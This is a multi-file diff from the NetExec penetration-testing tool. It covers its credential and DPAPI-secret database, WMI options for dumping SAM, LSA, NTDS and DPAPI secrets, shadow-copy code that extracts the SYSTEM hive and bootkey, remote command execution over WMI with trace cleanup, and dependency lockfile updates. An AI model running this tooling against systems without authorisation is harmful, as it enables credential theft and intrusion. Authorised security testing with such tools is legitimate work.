||||
func.lower(self.UsersTable.c.credtype) == func.lower(credtype),
|
||||
)
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
# add new credential
|
||||
if not results:
|
||||
new_cred = {
|
||||
"credtype": credtype,
|
||||
"domain": domain,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"pillaged_from": pillaged_from,
|
||||
}
|
||||
credentials = [new_cred]
|
||||
# update existing cred data
|
||||
else:
|
||||
for creds in results:
|
||||
# this will include the id, so we don't touch it
|
||||
cred_data = creds._asdict()
|
||||
# only update column if it is being passed in
|
||||
if credtype is not None:
|
||||
cred_data["credtype"] = credtype
|
||||
if domain is not None:
|
||||
cred_data["domain"] = domain
|
||||
if username is not None:
|
||||
cred_data["username"] = username
|
||||
if password is not None:
|
||||
cred_data["password"] = password
|
||||
if pillaged_from is not None:
|
||||
cred_data["pillaged_from"] = pillaged_from
|
||||
# only add cred to be updated if it has changed
|
||||
if cred_data not in credentials:
|
||||
credentials.append(cred_data)
|
||||
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q_users = Insert(self.UsersTable) # .returning(self.UsersTable.c.id)
|
||||
update_columns_users = {col.name: col for col in q_users.excluded if col.name not in "id"}
|
||||
q_users = q_users.on_conflict_do_update(index_elements=self.UsersTable.primary_key, set_=update_columns_users)
|
||||
nxc_logger.debug(f"Adding credentials: {credentials}")
|
||||
|
||||
self.db_execute(q_users, credentials) # .scalar()
|
||||
|
||||
def remove_credentials(self, creds_id):
|
||||
"""Removes a credential ID from the database"""
|
||||
self.db_execute(delete(self.UsersTable).where(self.UsersTable.c.id.in_(creds_id)))
|
||||
|
||||
def is_credential_valid(self, credential_id):
|
||||
"""Check if this credential ID is valid."""
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.id == credential_id,
|
||||
self.UsersTable.c.password is not None,
|
||||
)
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def get_credentials(self, filter_term=None, cred_type=None):
|
||||
"""Return credentials from the database."""
|
||||
# if we're returning a single credential by ID
|
||||
if self.is_credential_valid(filter_term):
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.id == filter_term)
|
||||
elif cred_type:
|
||||
q = select(self.UsersTable).filter(self.UsersTable.c.credtype == cred_type)
|
||||
# if we're filtering by username
|
||||
elif filter_term and filter_term != "":
|
||||
like_term = func.lower(f"%{filter_term}%")
|
||||
q = select(self.UsersTable).filter(func.lower(self.UsersTable.c.username).like(like_term))
|
||||
# otherwise return all credentials
|
||||
else:
|
||||
q = select(self.UsersTable)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
self.UsersTable.c.username == username,
|
||||
self.UsersTable.c.password == password,
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
)
|
||||
results = self.db_execute(q).first()
|
||||
return results.id
|
||||
|
||||
def is_host_valid(self, host_id):
|
||||
"""Check if this host ID is valid."""
|
||||
q = select(self.HostsTable).filter(self.HostsTable.c.id == host_id)
|
||||
results = self.db_execute(q).all()
|
||||
return len(results) > 0
|
||||
|
||||
def add_domain_backupkey(self, domain: str, pvk: bytes):
|
||||
"""
|
||||
Add domain backupkey
|
||||
:domain is the domain fqdn
|
||||
:pvk is the domain backupkey
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
if not len(results):
|
||||
pvk_encoded = base64.b64encode(pvk)
|
||||
backup_key = {"domain": domain, "pvk": pvk_encoded}
|
||||
try:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
|
||||
|
||||
self.db_execute(q, [backup_key]) # .scalar()
|
||||
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
|
||||
|
||||
def get_domain_backupkey(self, domain: str | None = None):
|
||||
"""
|
||||
Get domain backupkey
|
||||
:domain is the domain fqdn
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable)
|
||||
if domain is not None:
|
||||
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
|
||||
|
||||
if len(results) > 0:
|
||||
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
|
||||
return results
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this DPAPI secret ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
self,
|
||||
host: str,
|
||||
dpapi_type: str,
|
||||
windows_user: str,
|
||||
username: str,
|
||||
password: str,
|
||||
url: str = "",
|
||||
):
|
||||
"""Add dpapi secrets to nxcdb"""
|
||||
secret = {
|
||||
"host": host,
|
||||
"dpapi_type": dpapi_type,
|
||||
"windows_user": windows_user,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"url": url,
|
||||
}
|
||||
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
|
||||
|
||||
self.db_execute(q, [secret]) # .scalar()
|
||||
|
||||
nxc_logger.debug(
|
||||
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
|
||||
|
||||
def get_dpapi_secrets(
|
||||
self,
|
||||
filter_term=None,
|
||||
host: str | None = None,
|
||||
dpapi_type: str | None = None,
|
||||
windows_user: str | None = None,
|
||||
username: str | None = None,
|
||||
url: str | None = None,
|
||||
):
|
||||
"""Get dpapi secrets from nxcdb"""
|
||||
q = select(self.DpapiSecretsTable)
|
||||
|
||||
if self.is_dpapi_secret_valid(filter_term):
|
||||
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif host:
|
||||
q = q.filter(self.DpapiSecretsTable.c.host == host)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif dpapi_type:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
|
||||
elif windows_user:
|
||||
like_term = func.lower(f"%{windows_user}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif username:
|
||||
like_term = func.lower(f"%{username}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif url:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
|
||||
return results
|
||||
@@ -1,3 +1,7 @@
|
||||
from argparse import _StoreTrueAction
|
||||
from nxc.helpers.args import get_conditional_action
|
||||
|
||||
|
||||
def proto_args(parser, parents):
|
||||
wmi_parser = parser.add_parser("wmi", help="own stuff using WMI", conflict_handler="resolve", parents=parents)
|
||||
wmi_parser.add_argument("-H", "--hash", metavar="HASH", dest="hash", nargs="+", default=[], help="NTLM hash(es) or file(s) containing NTLM hashes")
|
||||
@@ -10,12 +14,33 @@ def proto_args(parser, parents):
|
||||
dgroup.add_argument("--local-auth", action="store_true", help="Authenticate locally to each target")
|
||||
|
||||
cred_gathering_group = wmi_parser.add_argument_group("Credential Gathering")
|
||||
cred_gathering_group.add_argument("--dpapi", choices={"cookies"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems")
|
||||
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
|
||||
cred_gathering_group.add_argument("--use-snapshot-id", action="store", dest="shadow_id", help="Use an existing VSS snapshot ID for SAM, LSA and/or NTDS dump")
|
||||
cred_gathering_group.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cred_gathering_group.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs")
|
||||
ntds_arg = cred_gathering_group.add_argument("--ntds", action="store_true", help="dump the NTDS.dit from target DCs")
|
||||
cred_gathering_group.add_argument("--history", action="store_true", help="Also retrieve password history (NTDS.dit or SAM)")
|
||||
# NTDS options
|
||||
kerb_keys_arg = cred_gathering_group.add_argument("--kerberos-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Also dump Kerberos AES and DES keys from target DC (NTDS.dit)")
|
||||
exclusive = cred_gathering_group.add_mutually_exclusive_group()
|
||||
enabled_arg = exclusive.add_argument("--enabled", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Only dump enabled targets from DC (NTDS.dit)")
|
||||
kerb_keys_arg.make_required = [ntds_arg]
|
||||
enabled_arg.make_required = [ntds_arg]
|
||||
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)")
|
||||
|
||||
egroup = wmi_parser.add_argument_group("Mapping/Enumeration")
|
||||
egroup.add_argument("--wmi-query", metavar="QUERY", dest="wmi_query", type=str, help="Issues the specified WMI query")
|
||||
egroup.add_argument("--wmi-namespace", metavar="NAMESPACE", type=str, default="root\\cimv2", help="WMI Namespace (default: %(default)s)")
|
||||
|
||||
files_group = wmi_parser.add_argument_group("File Operations")
|
||||
files_group.add_argument("--get-file", action="append", nargs=2, metavar="FILE", help="Get a remote file, ex: \\\\Windows\\\\Temp\\\\whoami.txt whoami.txt")
|
||||
files_group.add_argument("--append-host", action="store_true", help="append the host to the get-file filename")
|
||||
|
||||
cgroup = wmi_parser.add_argument_group("Command Execution")
|
||||
cgroup.add_argument("--no-output", action="store_true", help="do not retrieve command output")
|
||||
cgroup.add_argument("-x", metavar="COMMAND", dest="execute", type=str, help="Creates a new cmd process and executes the specified command with output")
|
||||
|
||||
@@ -0,0 +1,87 @@
|
||||
from binascii import hexlify
|
||||
|
||||
from impacket.examples.secretsdump import LocalOperations
|
||||
|
||||
|
||||
class RemoteOperations:
|
||||
def __init__(self, connection, shadow_id=None):
|
||||
self.connection = connection
|
||||
|
||||
self.cimv2_namespace = self.connection.get_namespace("//./root/cimv2")
|
||||
|
||||
# Cached variables
|
||||
self.bootkey = None
|
||||
if shadow_id is not None:
|
||||
self.connection.logger.display(f"Using existing VSS Snapshot ID: {shadow_id}")
|
||||
self._shadow_id = shadow_id
|
||||
self._shadow_copy_path = None
|
||||
|
||||
# Keep track if we created a Shadow Copy to delete it later
|
||||
self.shadow_copy_created = False
|
||||
|
||||
def __del__(self):
|
||||
# If we created a Shadow Copy, delete it
|
||||
if self.shadow_copy_created:
|
||||
wmiPath = f'Win32_ShadowCopy.ID="{self.shadow_id}"'
|
||||
self.connection.logger.debug(f"Trying to delete ShadowCopy with ID {self.shadow_id}")
|
||||
ret = self.cimv2_namespace.DeleteInstance(wmiPath)
|
||||
if (ret.GetCallStatus(0) & 0xffffffff) != 0:
|
||||
self.connection.logger.fail(f"Could not delete ShadowCopy ID {self.shadow_id}. You will need to delete this by yourself.")
|
||||
else:
|
||||
self.connection.logger.debug(f"ShadowCopy with ID {self.shadow_id} successfully deleted")
|
||||
|
||||
def create_shadowcopy(self) -> str:
|
||||
# Creating Shadow Volumes
|
||||
shadow_id = None
|
||||
try:
|
||||
win32_shadow_copy, _ = self.cimv2_namespace.GetObject("Win32_ShadowCopy")
|
||||
self.connection.logger.debug("Trying to create SS remotely via WMI")
|
||||
result = win32_shadow_copy.Create("C:\\", "ClientAccessible")
|
||||
self.shadow_copy_created = True
|
||||
shadow_id = result.ShadowID
|
||||
self.connection.logger.debug(f"Shadow Copy created at ID {shadow_id}")
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(f"Cannot create ShadowCopy: {e}")
|
||||
return shadow_id
|
||||
|
||||
def get_shadowcopy_path(self, shadow_id=None) -> str:
|
||||
if shadow_id is None:
|
||||
shadow_id = self.shadow_id
|
||||
device_object = None
|
||||
try:
|
||||
iEnum_shadow_copies = self.cimv2_namespace.ExecQuery(f'SELECT DeviceObject FROM Win32_ShadowCopy WHERE ID = "{shadow_id}"')
|
||||
obj = iEnum_shadow_copies.Next(0xffffffff, 1)[0]
|
||||
props = obj.getProperties()
|
||||
shadow_copy = {k: v["value"] for k, v in props.items()}
|
||||
device_object = shadow_copy["DeviceObject"]
|
||||
self.connection.logger.debug(f"Found ShadowCopy at {device_object}")
|
||||
except Exception as e:
|
||||
self.connection.logger.fail(f"Cannot find ShadowCopy with ID {shadow_id} :{e}")
|
||||
return device_object
|
||||
|
||||
@property
|
||||
def shadow_id(self):
|
||||
if self._shadow_id is None:
|
||||
self._shadow_id = self.create_shadowcopy()
|
||||
return self._shadow_id
|
||||
|
||||
@property
|
||||
def shadow_copy_path(self):
|
||||
if self._shadow_copy_path is None:
|
||||
self._shadow_copy_path = self.get_shadowcopy_path()
|
||||
return self._shadow_copy_path
|
||||
|
||||
def get_bootkey(self, output_filename):
|
||||
if self.bootkey is not None:
|
||||
return self.bootkey
|
||||
|
||||
system_hive_path = f"{self.shadow_copy_path}\\Windows\\System32\\config\\SYSTEM"
|
||||
system_hive_recovered = self.connection.get_file_single(system_hive_path, f"{output_filename}.system")
|
||||
if system_hive_recovered:
|
||||
self.connection.logger.debug("Got SYSTEM hive")
|
||||
local_operations = LocalOperations(f"{output_filename}.system")
|
||||
self.bootkey = local_operations.getBootKey()
|
||||
self.connection.logger.debug(f"Got bootkey: 0x{hexlify(self.bootkey).decode('utf-8')}")
|
||||
else:
|
||||
self.connection.logger.fail("Could not get bootkey")
|
||||
return self.bootkey
|
||||
@@ -21,7 +21,7 @@ from impacket.dcerpc.v5.dtypes import NULL
|
||||
|
||||
|
||||
class WMIEXEC:
|
||||
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec):
|
||||
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, cimv2_namespace=None):
|
||||
self.__target = target
|
||||
self.__iWbemLevel1Login = iWbemLevel1Login
|
||||
self.logger = logger
|
||||
@@ -32,8 +32,10 @@ class WMIEXEC:
|
||||
self.__pwd = "C:\\"
|
||||
self.__codec = codec
|
||||
|
||||
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
self.__iWbemServices = cimv2_namespace
|
||||
if self.__iWbemServices is None:
|
||||
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
self.__win32Process, _ = self.__iWbemServices.GetObject("Win32_Process")
|
||||
|
||||
def execute(self, command, output=False, use_powershell=False):
|
||||
@@ -55,10 +57,40 @@ class WMIEXEC:
|
||||
|
||||
def execute_remote(self, command):
|
||||
self.logger.info(f"Executing command: {command}")
|
||||
process = self.__win32Process.Create(command, self.__pwd, None)
|
||||
if process.ReturnValue != 0:
|
||||
raise Exception(f"Win32_Process.Create returned {process.ReturnValue}")
|
||||
return process.ProcessId
|
||||
|
||||
def wait_for_process(self, pid, timeout):
|
||||
"""Poll Win32_Process until the process and its children have exited or the timeout (in seconds) is reached"""
|
||||
end = time.monotonic() + timeout
|
||||
while time.monotonic() < end:
|
||||
time.sleep(0.1)
|
||||
try:
|
||||
self.__iWbemServices.GetObject(f'Win32_Process.Handle="{pid}"')
|
||||
except Exception as e:
|
||||
if "WBEM_E_NOT_FOUND" not in str(e):
|
||||
self.logger.debug(f"Could not query process {pid}: {e}")
|
||||
continue
|
||||
# Children (e.g. "start /b") keep the ParentProcessId after the parent exits and may still hold the output file open
|
||||
if not self.has_children(pid):
|
||||
return
|
||||
self.logger.fail(f"WMIEXEC: Process {pid} still running after {timeout}s, output may be incomplete. Please try a higher '--exec-timeout'")
|
||||
|
||||
def has_children(self, pid):
|
||||
try:
|
||||
self.__win32Process.Create(command, self.__pwd, None)
|
||||
enum = self.__iWbemServices.ExecQuery(f"SELECT ProcessId FROM Win32_Process WHERE ParentProcessId = {pid}")
|
||||
except Exception as e:
|
||||
self.logger.error(str(e))
|
||||
self.logger.debug(f"Could not query children of process {pid}: {e}")
|
||||
return False
|
||||
try:
|
||||
enum.Next(0xFFFFFFFF, 1)
|
||||
return True
|
||||
except Exception:
|
||||
return False
|
||||
finally:
|
||||
enum.RemRelease()
|
||||
|
||||
def execute_WithOutput(self, command):
|
||||
result_output = f"C:\\windows\\temp\\{uuid.uuid4()!s}.txt"
|
||||
@@ -67,17 +99,11 @@ class WMIEXEC:
|
||||
self.__registry_Path = f"Software\\Classes\\{gen_random_string(8)}"
|
||||
|
||||
# 1. Run the command and write output to file
|
||||
self.execute_remote(f'{self.__shell} ({command}) 1> "{result_output}" 2>&1')
|
||||
self.logger.info(f"Waiting {self.__exec_timeout}s for command to complete.")
|
||||
time.sleep(self.__exec_timeout)
|
||||
self.logger.info(f"Waiting up to {self.__exec_timeout}s for command to complete.")
|
||||
self.wait_for_process(self.execute_remote(f'{self.__shell} ({command}) 1> "{result_output}" 2>&1'), self.__exec_timeout)
|
||||
|
||||
# 2. Base64 encode the file
|
||||
self.execute_remote(f"{self.__shell} certutil -encodehex -f {result_output} {result_output_b64} 0x40000001")
|
||||
time.sleep(0.5)
|
||||
|
||||
# 3. Store content in registry
|
||||
self.execute_remote(f'{self.__shell} for /F "usebackq" %G in ("{result_output_b64}") do reg add HKLM\\{self.__registry_Path} /v {keyName} /t REG_SZ /d "%G" /f')
|
||||
time.sleep(0.1)
|
||||
# 2. Base64 encode the file and store content in registry
|
||||
self.wait_for_process(self.execute_remote(f'{self.__shell} certutil -encodehex -f {result_output} {result_output_b64} 0x40000001 & for /F "usebackq" %G in ("{result_output_b64}") do reg add HKLM\\{self.__registry_Path} /v {keyName} /t REG_SZ /d "%G" /f'), self.__exec_timeout)
|
||||
|
||||
self.queryRegistry(keyName)
|
||||
self.clean_up(result_output, result_output_b64)
|
||||
@@ -110,16 +136,14 @@ class WMIEXEC:
|
||||
# 1. Run the command and write output to file
|
||||
if not command.lower().startswith("powershell"):
|
||||
command = f'powershell -Command "& {{{command}}}"'
|
||||
self.execute_remote(f'{command} > "{result_output}" 2>&1')
|
||||
self.logger.info(f"Waiting {self.__exec_timeout}s for command to complete.")
|
||||
time.sleep(self.__exec_timeout)
|
||||
self.logger.info(f"Waiting up to {self.__exec_timeout}s for command to complete.")
|
||||
self.wait_for_process(self.execute_remote(f'{command} > "{result_output}" 2>&1'), self.__exec_timeout)
|
||||
|
||||
# 2. Base64 encode the file using PowerShell
|
||||
self.execute_remote(f'powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes(\'{result_output}\')) | Out-File -Encoding ASCII \'{result_output_b64}\'"')
|
||||
time.sleep(0.5)
|
||||
self.wait_for_process(self.execute_remote(f'powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes(\'{result_output}\')) | Out-File -Encoding ASCII \'{result_output_b64}\'"'), self.__exec_timeout)
|
||||
|
||||
# 3. Use PowerShell to split base64 content into 16KB chunks and store in registry
|
||||
self.execute_remote(
|
||||
self.wait_for_process(self.execute_remote(
|
||||
f'powershell -Command "$b64 = Get-Content -Raw \'{result_output_b64}\'; '
|
||||
f'$chunksize = 16000; '
|
||||
f'$count = [math]::Ceiling($b64.Length / $chunksize); '
|
||||
@@ -128,8 +152,7 @@ class WMIEXEC:
|
||||
f' $name = \\"{keyName}_chunk_$i\\"; '
|
||||
f' reg add \\"HKLM\\{self.__registry_Path}\\" /v $name /t REG_SZ /d $chunk /f }}; '
|
||||
f'reg add \\"HKLM\\{self.__registry_Path}\\" /v \\"{keyName}\\" /t REG_DWORD /d $count /f"'
|
||||
)
|
||||
time.sleep(0.1)
|
||||
), self.__exec_timeout)
|
||||
|
||||
self.queryRegistry_psh(keyName)
|
||||
self.clean_up(result_output, result_output_b64)
|
||||
@@ -163,13 +186,12 @@ class WMIEXEC:
|
||||
self.logger.fail("WMIEXEC: Could not retrieve output file! Either command timed out or AV killed the process. Please try increasing the timeout: '--exec-timeout 10'")
|
||||
|
||||
def clean_up(self, result_output, result_output_b64):
|
||||
"""Deletes the output file, the base64 output file, and the registry path where the base64 content was stored."""
|
||||
self.execute_remote(f'{self.__shell} del /q /f "{result_output}" "{result_output_b64}"')
|
||||
|
||||
"""Deletes the registry path where the base64 content was stored, the output file and the base64 output file."""
|
||||
try:
|
||||
self.logger.debug(f"Removing temporary registry path: HKLM\\{self.__registry_Path}")
|
||||
descriptor, _ = self.__iWbemServices.GetObject("StdRegProv")
|
||||
descriptor = descriptor.SpawnInstance()
|
||||
descriptor.DeleteKey(0x80000002, self.__registry_Path)
|
||||
self.execute_remote(f'{self.__shell} del /q /f "{result_output}" "{result_output_b64}"')
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Target: {self.__target} removing temporary registry path error: {e!s}")
|
||||
self.logger.fail(f"WMIEXEC: Cleanup failed, traces may be left on the target ({result_output}, {result_output_b64}, HKLM\\{self.__registry_Path}): {e}")
|
||||
@@ -30,7 +30,7 @@ from impacket.dcerpc.v5.dcom.wmi import WBEMSTATUS
|
||||
|
||||
|
||||
class WMIEXEC_EVENT:
|
||||
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec):
|
||||
def __init__(self, target, iWbemLevel1Login, logger, exec_timeout, codec, subscription_namespace=None):
|
||||
self.__target = target
|
||||
self.__iWbemLevel1Login = iWbemLevel1Login
|
||||
self.__outputBuffer = ""
|
||||
@@ -41,8 +41,10 @@ class WMIEXEC_EVENT:
|
||||
self.__instanceID = f"windows-object-{uuid.uuid4()!s}"
|
||||
self.__instanceID_StoreResult = f"windows-object-{uuid.uuid4()!s}"
|
||||
|
||||
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
self.__iWbemServices = subscription_namespace
|
||||
if self.__iWbemServices is None:
|
||||
self.__iWbemServices = self.__iWbemLevel1Login.NTLMLogin("//./root/subscription", NULL, NULL)
|
||||
self.__iWbemLevel1Login.RemRelease()
|
||||
|
||||
def execute(self, command, output=False, use_powershell=False):
|
||||
if "'" in command:
|
||||
|
||||
Generated
+78
-111
@@ -1,14 +1,17 @@
|
||||
# This file is automatically @generated by Poetry 2.4.1 and should not be changed by hand.
|
||||
# This file is automatically @generated by Poetry 2.5.1 and should not be changed by hand.
|
||||
|
||||
[[package]]
|
||||
name = "aardwolf"
|
||||
version = "0.2.14"
|
||||
version = "0.2.16"
|
||||
description = "Asynchronous RDP protocol implementation"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
python-versions = ">=3.11"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "aardwolf-0.2.14.tar.gz", hash = "sha256:360a1a3d046dc2814c2e58339939a8f311ae330c0d1d962790edf45d726af4a6"},
|
||||
{file = "aardwolf-0.2.16-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:fbde3046d4cdd3a5596dfcc988965b85527632cee46db2522961893d101fcbc7"},
|
||||
{file = "aardwolf-0.2.16-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:69bedfad4b68b855a9d0df928c78eb0bbdc642c22f9845778c9df77a8fe9c259"},
|
||||
{file = "aardwolf-0.2.16-cp311-abi3-win_amd64.whl", hash = "sha256:b4d6032110ee238cf11c1f5efa86636462d7dc2e972b8464e949da82df58f3a6"},
|
||||
{file = "aardwolf-0.2.16.tar.gz", hash = "sha256:52cba79817af963108dcd39e82513deec742387f2fab01a9138abe56f94e7ad2"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
@@ -105,7 +108,6 @@ files = [
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
exceptiongroup = {version = ">=1.0.2", markers = "python_version < \"3.11\""}
|
||||
idna = ">=2.8"
|
||||
typing_extensions = {version = ">=4.5", markers = "python_version < \"3.13\""}
|
||||
|
||||
@@ -439,7 +441,7 @@ files = [
|
||||
[package.dependencies]
|
||||
dnspython = "*"
|
||||
impacket = ">=0.9.17"
|
||||
ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6"
|
||||
ldap3 = ">2.5.0,!=2.5.2,!=2.6"
|
||||
pyasn1 = ">=0.4"
|
||||
pycryptodome = "*"
|
||||
|
||||
@@ -480,14 +482,16 @@ dev = ["black (>=23.0.0)", "mypy (>=1.0.0)", "pytest (>=7.0.0)", "pytest-cov (>=
|
||||
kerberos = ["gssapi (>=1.8.0) ; sys_platform != \"win32\"", "winkerberos (>=0.9.1) ; sys_platform == \"win32\""]
|
||||
|
||||
[[package]]
|
||||
name = "certipy-ad"
|
||||
version = "5.1.0"
|
||||
description = "Active Directory Certificate Services enumeration and abuse"
|
||||
name = "certipy-nxc"
|
||||
version = "5.1.0.post1"
|
||||
description = "Certipy (ly4k/Certipy) packaged for NetExec, with relaxed Python and impacket pins"
|
||||
optional = false
|
||||
python-versions = ">=3.10"
|
||||
groups = ["main"]
|
||||
files = []
|
||||
develop = false
|
||||
files = [
|
||||
{file = "certipy_nxc-5.1.0.post1-py3-none-any.whl", hash = "sha256:27620fdd7a7a44f5ea7d537732a8022d20dd02f7fcd76e2d7fff84daab43ecb0"},
|
||||
{file = "certipy_nxc-5.1.0.post1.tar.gz", hash = "sha256:fb11ca11bcf2e1e7eb060e2c7a7ba78699baeafabb23598dd3770b61d07b75b8"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
argcomplete = ">=3.6.2,<3.7.0"
|
||||
@@ -505,12 +509,6 @@ requests = ">=2.32.3,<2.33.0"
|
||||
[package.extras]
|
||||
bloodhound = ["neo4j (>=5.28.1,<5.29.0)"]
|
||||
|
||||
[package.source]
|
||||
type = "git"
|
||||
url = "https://github.com/Pennyw0rth/Certipy"
|
||||
reference = "HEAD"
|
||||
resolved_reference = "069e03113095aa02772aa3d8debea90654933fe4"
|
||||
|
||||
[[package]]
|
||||
name = "cffi"
|
||||
version = "2.1.1"
|
||||
@@ -834,21 +832,23 @@ wmi = ["wmi (>=1.5.1)"]
|
||||
|
||||
[[package]]
|
||||
name = "dploot"
|
||||
version = "3.2.2"
|
||||
version = "4.1.1"
|
||||
description = "DPAPI looting remotely in Python"
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
python-versions = "<4.0,>=3.10"
|
||||
groups = ["main"]
|
||||
files = [
|
||||
{file = "dploot-3.2.2-py2.py3-none-any.whl", hash = "sha256:8c7e436f382af7ae46642b8dbb91a4aa0818a2556c3ef802197ffd95ba9c8ea9"},
|
||||
{file = "dploot-3.2.2.tar.gz", hash = "sha256:3f6acf90113ad076be9b59ea4142d0de4d910d4ae8f99a744d47cf010352d3a8"},
|
||||
{file = "dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a"},
|
||||
{file = "dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248"},
|
||||
]
|
||||
|
||||
[package.dependencies]
|
||||
cryptography = ">=40.0.1"
|
||||
impacket = ">=0.12.0"
|
||||
impacket = ">=0.13.0"
|
||||
lxml = ">=5.0"
|
||||
pick = ">=2.6.0,<3.0.0"
|
||||
pyasn1 = ">=0.4.8"
|
||||
pypsrp = ">=0.9.1,<0.10.0"
|
||||
|
||||
[[package]]
|
||||
name = "dsinternals"
|
||||
@@ -865,25 +865,6 @@ files = [
|
||||
pycryptodomex = "*"
|
||||
pyopenssl = "*"
|
||||
|
||||
[[package]]
|
||||
name = "exceptiongroup"
|
||||
version = "1.3.1"
|
||||
description = "Backport of PEP 654 (exception groups)"
|
||||
optional = false
|
||||
python-versions = ">=3.7"
|
||||
groups = ["main", "dev"]
|
||||
